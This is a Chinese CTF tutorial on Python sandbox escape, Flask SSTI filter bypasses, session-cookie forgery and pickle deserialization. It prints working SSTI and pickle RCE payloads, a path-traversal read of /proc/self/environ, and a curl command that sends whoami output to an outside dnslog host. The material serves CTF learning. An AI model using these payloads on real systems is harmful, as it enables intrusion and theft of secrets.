聊一聊我认识的Python安全 – 作者:Heihu577-安全小百科

0x00 前言

在CTF比赛中，Python的题目种类也越来越多。记得之前遇到Python题目的模板注入反序列化题目笔者都会抄一下网上的Payload然后获取flag。但吃鸡腿，不知道鸡腿从何而来，是无法品尝到其中的美味的~ 本篇文章以笔者的角度来描述一下这盘子中的美味，来刨析出鸡腿的腿有多么性感。并且笔者会将Python 2 与 Python 3结合，没有下酒菜的酒局是没有味道的。整篇文章共5700字，供大家阅读体会，欢迎批评讨论~

0x01 沙箱逃逸原理及利用

相信大家在抄Payload的时候会发现（明明只有笔者抄 T.T），关于SSTI的Payload都是很长一大串，例如：

这是一个典型的文件读取Payload。可是我们现在并不知道原理，那么跟着笔者一步一步尝试来获取它其中的秘密吧！

一：刨析原理

首先我们需要理解一下Python的几种数据类型，笔者这里将常见数据类型放入一个列表中再进行依次打印，例如：

Python3：

Python2：

我们可以看到，使用type来进行检查数据类型时，会返回 <class ‘XXX’>，那么我们会注意到XXX前的class，在编程语言中，class是用来定义类的。是的，没错，在Python中，一个字符串则为str类的对象，一个整形则为int类的对象，一个浮点数据则为float的对象…

我们可以通过id来看一下这些对象的编号是多少，如图：

得出首条结论：在Python中，一切皆对象。

那么知道这些有什么用呢？一个对象则存在属性与方法，我们可以通过dir来进行查看，如图（这里用普通字符串来进行举例）：

我们可以看到字符串python2与python3都返回了upper，我们知道upper是一个函数，那么我们使用一下该方法。如图：

因为在Python中一切都是对象，所以方法与类也是对象，如图：

我们现在缺少的只是方法与类的调用而已，文章中不再描述如何调用。

那么现在问题就出来了，我们知道Python中存在数据类型，这些数据类型它们都是一个类，我们是怎么找到这个类并实例化出来它们的？又或者说，在Python中存在一些函数，我们是怎么找到它们并调用的？如何查找到是当前的一个问题。

我们可以通过globals函数来进行查看（globals是获取当前可访问到的变量）：

我们可以看到我们定义的变量a已经放入到globals函数当中了，我们可以看到有__builtins__这样一个变量，它是一个模块。并且模块名在Python2中命名为__builtin__，在Python3中又重新命名为了builtins。

我们使用dir看一下该模块中所存在的一些内容。

我们可以看到，我们所使用的基础方法都存放在该模块中，我们使用该模块调用一下print函数来进行测试。

我们可以看到，在Python3中返回正常，Python2却抛出异常，这是因为在Python2中print为一个语句，在Python3中它换成了一个函数。

得出第二条结论：在Python2/3中，任何基础类以及函数都存放在__builtin__/builtins模块中。

那么如果我们通过一些方式，可以定位到__builtin__ / builtins模块，那岂不是可以进行进行调用任意函数了。

现在的问题是我们该怎么定位。

我们知道builtins是存放在globals函数中的，与变量的作用域是有关系的，谈到变量的作用域，我们会想到一个玩意：自定义方法。

我们可以自定义一个方法，将它视为一个对象，使用dir看一下它下面的成员属性。

如图：

果然，在一个普通方法中是存在__globals__这么一个成员属性的，我们可以打印它看一下。

我们可以看到 __globals__ 就是 globals() 函数的返回值，同理，它们下面都存在 __builtins__ 变量，我们可以使用“函数.__globals__[‘__builtins__’].恶意函数()”来执行一下eval。如图：

我们可以看到，eval被我们成功执行！

而方法也是可以定义在类中的，我们简单定义一个类，并且定义一个__init__魔术方法（__init__是魔术方法，该方法在被类创建时自动调用）。

我们可以看到同样是可以调用eval的。

如果我们不定义__init__会怎么样呢？我们可以看一下。

可以看到，在Python2中会报错，而python3中会返回slot。不定义__init__是不可以访问到__globals__成员属性的，如图:

我们再看一下模块中的方法与当前都有什么区别。

这里区别就很明显了，这里“模块中的方法”中__globals__[__builtins__]中的所有内容都被存放入一个字典中才可以进行调用。我们调用一下eval来进行测试，如图：

当然我们可以使用__import__函数调用os来进行执行命令，如图：

我们可以看到whoami被成功调用。

得出第三条结论：我们可以通过一个普通函数(或类中已定义的方法)对象下的__globals__成员属性来得到__builtins__，从而执行任意函数，这里要注意的是，模块与非模块下的__globals__的区别。

那么实际场景中，根本没有这样一个方法给我们利用。我们应该怎么做？

我们使用dir看一下普通类型（int,str,bool….）的返回结果。如图：

我们查看一下__class__的内容。如图：

可以看到通过__class__成员属性可以得到当前对象是XXX类的实例化。

在Python中，所有数据类型都存放于Object一个大类中，如图：

我们可以通过__bases__/__mro__/__base__来得到object，如图：

可以看到在python2中并没有直接返回object，我们可以再次访问__bases__就可以得到object了，如图:

那么通过__subclasses__即可得到object下的所有子类，如图:

下面我们就可以来依次判断这些类中是否定义__init__（或其他魔术方法）方法，如果定义，那么就可以拿到__init__（或其他魔术方法）下的__globals__[“__builtins__”]从而执行任意函数，编写脚本进行测试：

可以看到这些类都是可以进行利用的类。当然，也可以使用其他魔术方法，这里举例__delete__魔术方法，如图：

得出第四条结论：我们可以通过普通数据类型的__class__成员属性得到所属类，再通过__bases__/__base__/__mro__可以得到object类，再次通过__subclasses__()来得到object下的所有基类，遍历所有基类检查是否存在指定的魔术方法，如果存在，那么即可获取__globals__[__builtins__]，就可以调用任意函数了。

如上总结在Python2/3中都是可以进行利用的，只是在Python2中多了一种file的姿势。

如图:

只是file在Python3中被移除了，故Python3中没有此利用姿势。

二：flask模板注入

沙箱逃逸通常与flask的模板注入紧密联系，模板中存在可以植入表达式的可控点那么就会存在SSTI问题。

存在漏洞的代码：

from flask import Flask,render_template,request,render_template_string,session

from datetime import timedelta

app = Flask(__name__)

app.config[‘SECRET_KEY’] = ‘hacker’

app.config[‘PERMANENT_SESSION_LIFETIME’] = timedelta(days=7)

@app.route(‘/test’,methods=[‘GET’, ‘POST’])

def test():

content = request.args.get(“content”)

template = ”’

<div>

<h1>Oops! That page doesn’t exist.</h1>

<h3>%s</h3>

<h4>Your Money : %s</h4>

</div>

”’ %(content, session.get(‘money’))

return render_template_string(template)

@app.route(‘/sess’)

def t():

session[‘money’] = 100

return ‘设置金额成功…’

if __name__ == ‘__main__’:

app.debug = True

app.run()

在/test路由中存在模板注入漏洞，那么我们可以通过传递payload：

?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[‘__builtins__’][‘__import__’](‘os’).popen(‘whoami’).read()}} 来进行执行任意命令（__subclasses__可利用的键值可以通过Burp从1-999进行爆破出结果，这里得到80可以被利用），如图：

至此，我们完成了首次模板注入。

但是成熟的模板注入类的题目它会进行一些过滤的。这里简单总结一下。

三：过滤问题总结

这里简单记录一下模板注入中的一些过滤的绕过。

过滤中括号

我们知道__subclasses__()返回一个列表，__globals__返回一个字典，而列表的访问语法与字典的访问语法需要借助于中括号，如果将中括号过滤，那么我们怎么办呢？

我们使用dir来查看一下“正常的列表/正常的字典”下的成员属性及方法，如图：

可以看到存在__getitem__方法。

进行调用：

当然，字典的访问也是可以通过__getitem__方法来进行绕过（pop方法也可以被利用）。

过滤引号

如果过滤引号，我们岂不是不可以进行模板注入了？

引号则表示str类型的数据，而str类型的数据可以通过变量来表示，这里可以借助于flask中request.args对象来作为变量，以get传递进行赋值。

构造Payload：

?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.__builtins__][request.args.__import__](request.args.os).popen(request.args.whoami).read()}}&__builtins__=__builtins__&__import__=__import__&os=os&whoami=whoami

如图：

成功执行命令。

过滤双下划线

由于在jinja2中允许“对象[属性]”的方式来访问成员属性，如图：

此时的属性放置的内容为字符类型，我们可以通过request.args全程代替。

构造Payload：

?content={{[][request.args.class][request.args.base][request.args.subclasses]()[80][request.args.init][request.args.globals][request.args.builtins][request.args.import](request.args.os).popen(request.args.whoami).read()}}&builtins=__builtins__&import=__import__&os=os&whoami=whoami&class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__

如图：

当然，也可以通过字符串拼接的方式，构造Payload：

?content={{[][‘_’+’_class_’+’_’]}}，结果如下：

过滤{{}}

{{}}通常来表示一个变量，而{%%}则表示为流程语句，虽然不可以回显内容，但是我们可以通过curl来进行外带数据。

Payload：

?content={% if ”.__class__.__base__.__subclasses__()[80].__init__.__globals__[‘__builtins__’][‘__import__’](‘os’).popen(‘curl http://w9y7rp.dnslog.cn/?test=`whoami`’).read() !=1 %}1{% endif %}

自定义一个web服务即可接收到，笔者这里使用的是dnslog，得不到发出的参数。如图：

当然反弹shell也是一种不错的姿势，这里就不再描述了。

四：flask的一些其他问题

Python的session值篡改攻击

在CTF考点中还存在一种身份伪造类的题目。我们看一下该代码块的sess路由，如图：

from flask import Flask,render_template,request,render_template_string,session

from datetime import timedelta

app = Flask(__name__)

app.config[‘SECRET_KEY’] = ‘hacker’

app.config[‘PERMANENT_SESSION_LIFETIME’] = timedelta(days=7)

@app.route(‘/test’,methods=[‘GET’, ‘POST’])

def test():

content = request.args.get(“content”)

template = ”’

<div>

<h1>Oops! That page doesn’t exist.</h1>

<h3>%s</h3>

<h4>Your Money : %s</h4>

</div>

”’ %(content, session.get(‘money’))

return render_template_string(template)

@app.route(‘/sess’)

def t():

session[‘money’] = 100

return ‘设置金额成功…’

if __name__ == ‘__main__’:

app.debug = True

app.run()

我们可以看到，这里定义了session[money]=100。当我们访问/sess时，服务端就会返回一个jwt给我们，如图：

可以看到session是以jwt来进行存储的，而使用jwt存储是有危害的。

关于jwt的解释：https://www.jianshu.com/p/576dbf44b2ae

只要我们获取SECRET_KEY，那么该JWT是可以进行伪造的。

问题是我们如何进行获取SECRET_KEY？

第一种：通过SSTI的{{config}}

如图：

我们可以看到，{{config}}是可以窃取出SECRET_KEY。

第二种：通过Linux中的/proc/self/environ

这种姿势我们会在“CTF小结”中的一道叫做“[PASECA2019] honey_shop”的题目所记载。它需要任意文件读取的姿势才可以进行得到SECRET_KEY。

第三种：爆破

有一道叫做“[CISCN2019 华北赛区 Day1 Web2]ikun”的题目涉及到了这种姿势，其中又提到了Python反序列化，这里奉上WriteUp：

https://blog.csdn.net/weixin_43345082/article/details/97817909

对于反序列化，笔者会在0x02中进行描述。

我们可以通过flask-session-cookie-manager工具来生成恶意的JWT即可完成身份伪造，工具GitHub：https://github.com/style-404/flask-session-cookie-manager。

首先我们对当前的JWT进行base64解码，如图：

这里可以得出一条JSON数据过来，那么我们使用flask-session-cookie-manager工具，借助SECRET_KEY来将money篡改为999.

工具使用：python3 flask_session_cookie_manager3.py encode -s “secret_key” -t “json”

修改本地的session值，随后访问/test查看结果。

可以看到成功篡改money的值。

基于DEBUG的PIN码攻击

它所利用的条件为任意文件读取+flask的DEBUG模式。

参考文章：https://xz.aliyun.com/t/2553

这里笔者就不再做演示了。

五：部分CTF题目实例

Real -> [Flask]SSTI

这道题是比较基础的一道题目，无任何过滤，我们直接进行注入即可。

可以看到表达式被正常解析，那么继续往下操作即可。

构造Payload：

?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[‘__builtins__’][‘__import__’](‘os’).popen(‘ls /’).read()}}

命令执行结果如图：

WEB -> [GYCTF2020]FlaskApp

该题目有两个功能，Base64加密与Base64解密，在Base64解密处存在模板注入。

题目如图:

解密结果：

由此得知存在ssti。

经过测试，得知75存在可利用的function为__init__，如图：

提交后：

但继续往下构造攻击链时，发现过滤了一些敏感关键字，使用open进行读取源码：

源码过滤如图：

我们可以看到万恶的request也被过滤了，但是这里我们可以使用字符拼接来进行绕过，popen可以使用中括号加字符拼接的方式进行调用，那么构造Payload：{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__[‘__builtins__’][‘__imp’+’ort__’](‘o’+’s’)[‘po’+’pen’](‘ls /’).read()}}

编码为base64后提交，查看一下结果：

存在flag关键字，导致我们无法读取，这里我们可以通过命令执行的绕过姿势“\\”来进行绕过，再次构造Payload：

{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__[‘__builtins__’][‘__imp’+’ort__’](‘o’+’s’)[‘po’+’pen’](‘cat /this_is_the_fl\\ag.txt’).read()}}

编码为base64后进行提交：

WEB -> [CSCCTF 2019 Qual]FlaskLight

打开题目源码发现提示参数 search

那么我们可以通过?search={{2*3}}来查看一下结果。

可以看到6弹我们一脸，那么此处存在ssti。

__subclasses__丢进Burp进行爆破键值，如图：

得出下标为59的__init__魔术方法可以被利用，如图：

构造Payload至__globals__发现被过滤，简单访问一下，真的返回500，如图:

可以使用request.arg.x 来进行绕过，构造Payload：

?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g][‘__builtins__’][‘__import__’](‘os’).popen(‘ls /flasklight’).read()}}&g=__globals__

查看结果：

再次构造Payload读取flag：

?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g][‘__builtins__’][‘__import__’](‘os’).popen(‘cat /flasklight/coomme_geeeett_youur_flek’).read()}}&g=__globals__

如图:

WEB -> [pasecactf_2019]flask_ssti

查看源代码，发现Ajax请求：

笔者在构造Payload时，发现过滤了单引号（‘）、点（.），下划线（_），那么我们可以通过双引号来解析变量，并且使用16进制代替下划线即可。

如图：

构造Payload来进行爆破下标：

?nickname={{[][“\x5F\x5Fclass\x5F\x5F”][“\x5F\x5Fbase\x5F\x5F”][“\x5F\x5Fsubclasses\x5F\x5F”]()[§80§][“\x5F\x5Finit\x5F\x5F”]}}

发现下标为91的__init__方法可以被利用，如图:

构造Payload执行命令：

?nickname={{[][“\x5F\x5Fclass\x5F\x5F”][“\x5F\x5Fbase\x5F\x5F”][“\x5F\x5Fsubclasses\x5F\x5F”]()[91][“\x5F\x5Finit\x5F\x5F”][“\x5F\x5Fglobals\x5F\x5F”][“\x5F\x5Fbuiltins\x5F\x5F”][“\x5F\x5Fimport\x5F\x5F”](“os”)[“popen”](“\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79”)[“read”]()}}

其中

\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79

为 cat /proc/self/cwd/app.py，这里转换可以使用笔者已经写好的脚本：

payload = b’cat /proc/self/cwd/app.py’

string = payload.hex()

result = ”

for i in range(0, len(string), 2):

result += ‘\\x’ + string[i:i+2]

print(result)

结果如图：

可以看到flag文件被os删掉了，但是flag的值被存放于app.config当中，并且经过了encode函数处理，我们可以看一下encode函数的定义：

是使用的异或算法，那么现在我们只需要从config中拿到加密后的flag值，并且将它再次执行一下encode函数即可得到flag。

再次执行函数

则得到flag。

WEB -> [PASECA2019]honey_shop

该题目属于JWT身份伪造攻击，首先我们打开主页，可以看到金额为1336，如图：

而flag需要1337。

在/download路由下存在文件下载，猜测存在任意文件下载，那么我们下载../../../../../../../../../proc/self/environ来进行观察，如图：

成功下载到并拿到SECRET_KEY，然后我们对当前网址的jwt使用base64进行解密，得出：

伪造为：{“balance”:1338,”purchases”:[]}，即可购买flag了。

0x02 Python反序列化漏洞利用

原理文章推荐

因为在知乎有位师傅写的非常不错，那么笔者在这里也不去班门弄斧。

传送门：https://zhuanlan.zhihu.com/p/89132768

这里做一下总结，并且对一种利用姿势扩大成果，然后分享一道有意思的例题。

Python反序列化能干什么？

R指令码的RCE

Python的反序列化比PHP危害更大，可以直接进行RCE。

编写测试脚本：

import pickle, os, base64

class Exp(object):

def __reduce__(self):

return (os.system, (‘dir’,))

with open(‘./hacker.txt’, ‘wb’) as fileObj:

pickle.dump(Exp(), fileObj)

会在当前目录生成hacker.txt，内容为序列化的值。如图：

我们再次使用pickle进行反序列化即可执行dir命令。

这里可以看到成功执行了dir命令。

c指令码的变量获取

当R指令码被禁用后，我们可以采取这种姿势来获取变量。

在当前目录下创建flag.py文件，并且存放一个flag变量，当作模块来进行使用。如图：

编写获取flag变量的脚本：

import flag, pickle

class Person():

pass

b = b’\x80\x03c__main__\nPerson\n)\x81}(Vtest\ncflag\nflag\nub.’

print(pickle.loads(b).test)

主要思路为：“cflag\nflag\n“当作test属性的value值压进了前序栈的空dict，随后使用b覆盖了Person类的__dict__成员属性，导致了变量被窃取。

我们可以看到pickle.loads返回的对象下的test就是flag的值，如图：

c指令码的变量修改

当R指令码被禁用后，并且find_class函数只允许获取__main__中的变量时，我们可以采取这种姿势来修改任意变量。

在原理文章中并没有提到一种姿势，而有一种姿势也是可以进行利用的。我们先按照原理文章来测试一遍。

测试脚本:

import flag, pickle

class Person():

pass

b = b’\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0c__main__\nPerson\n)\x81}(Va\nVa\nub.’

pickle.loads(b)

print(flag.flag)

主要思路为：使用c将flag模块导入进来，通过ub来更新flag模块的__dict__属性，故可以恶意修改变量的值。

查看结果：

我们可以看到，flag包中的flag变量被成功修改。

那么在反序列化中，一个普通字符串也是可以当作一种数据来进行序列化的，所以这里并不需要Person的类支撑即可完成变量修改。

修改脚本如下：

import flag, pickle

b = b’\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0Va\n.’

print(pickle.loads(b))

print(flag.flag)

结果：

那么就成功篡改了flag包中的flag变量的内容。

__setstate__ 特性 RCE

编写测试脚本：

import flag, pickle

class Person():

pass

b = b’\x80\x03c__main__\nobject\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.’

print(pickle.loads(b))

主要思路为：借助于__setstate__的特性造成了RCE。

执行结果：

可以看到成功执行了dir命令。

近看一道ssrf+反序列化+SSTI的例题

这道题是朋友很早之前就留下来的，在网上也找不到现成的反序列化题目，就用它好了。

题目代码是这样的：

from flask import Flask,render_template

from flask import request

import urllib

import sys

import os

import pickle

import ctf_config

from jinja2 import Template

import base64

import io

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):

if module == ‘__main__’:

return getattr(sys.modules[‘__main__’], name)

raise pickle.UnpicklingError(“only __main__”)

def get_domain(url):

if url.startswith(‘http://’):

url = url[7:]

if not url.find(“/”) == -1:

domain = url[url.find(“@”)+1:url.index(“/”,url.find(“@”))]

else:

domain = url[url.find(“@”)+1:]

print(domain)

return domain

else:

return False

@app.route(“/”, methods=[‘GET’])

def index():

return render_template(“index.html”)

@app.route(“/get_baidu”, methods=[‘GET’]) # get_baidu?url=http://127.0.0.1:8000/[email protected]/

def get_baidu():

url = request.args.get(“url”)

if(url == None):

return “please get url”

if(get_domain(url) == “www.baidu.com”):

content = urllib.request.urlopen(url).read()

return content

else:

return render_template(‘index.html’)

@app.route(“/admin”, methods=[‘GET’])

def admin():

data = request.args.get(“data”)

if(data == None):

return “please get data”

ip = request.remote_addr

if ip != ‘127.0.0.1’:

return redirect(‘index’)

else:

name = base64.b64decode(data)

if b’R’ in name:

return “no __reduce__”

name = RestrictedUnpickler(io.BytesIO(name)).load()

if name == “admin”:

t = Template(“Hello ” + name)

else:

t = Template(“Hello ” + ctf_config.name)

return t.render()

if __name__ == ‘__main__’:

app.debug = False

app.run(host=’0.0.0.0′, port=8000)

在45行中存在一个判断。

if(get_domain(url) == “www.baidu.com”):

content = urllib.request.urlopen(url).read()

return content

如果进入到该分支则调用至urllib.request.urlopen函数，那么我们看一下get_domain方法是逻辑是怎么样的。

在27行中出现了漏洞问题，如果url中存在“/”，则返回@符号往后的内容，那么这里存在一个伪造的情况，例如：http://127.0.0.1:3306/[email protected]/，

则会匹配到www.baidu.com/，但是实际发送出的HTTP请求还是发送至127.0.0.1身上，所以说这里存在一个SSRF漏洞问题。

而在51-68行中确实验证了访问者的IP（这里可以使用SSRF进行绕过），如图：

61行禁用了R指令，则表示不可以使用__reduce__进行命令执行操作，可以看到63行实例化了RestrictedUnpickler类，而该类则继承了pickle.Unpickler类，如图：

同时重写了find_class的方法，这时c指令只可以进行导入本地模块。而类名中存在“R关键字”，则无法进行__setstate__姿势的RCE，这里利用方式只剩下一种：c指令码的变量修改。

但是变量修改有什么用呢？我们可以注意到第67行的ctf_config包下的name变量，如图：

直接将变量的值拼接到Template方法中，这里存在一个SSTI注入问题。

那么思路就有了：通过get_data路由发送SSRF请求->admin路由接收进行反序列化->修改ctf_config下的name属性为SSTI注入语句->实现RCE。

那么编写POC脚本：

import base64

ssti = b’2*6′

payload = b’\x80\x03c__main__\nctf_config\n}(Vname\nV{{‘ + ssti + b’}}\nub0V123\n.’

payload = base64.b64encode(payload).decode(‘utf-8’)

print(payload)

传递Payload：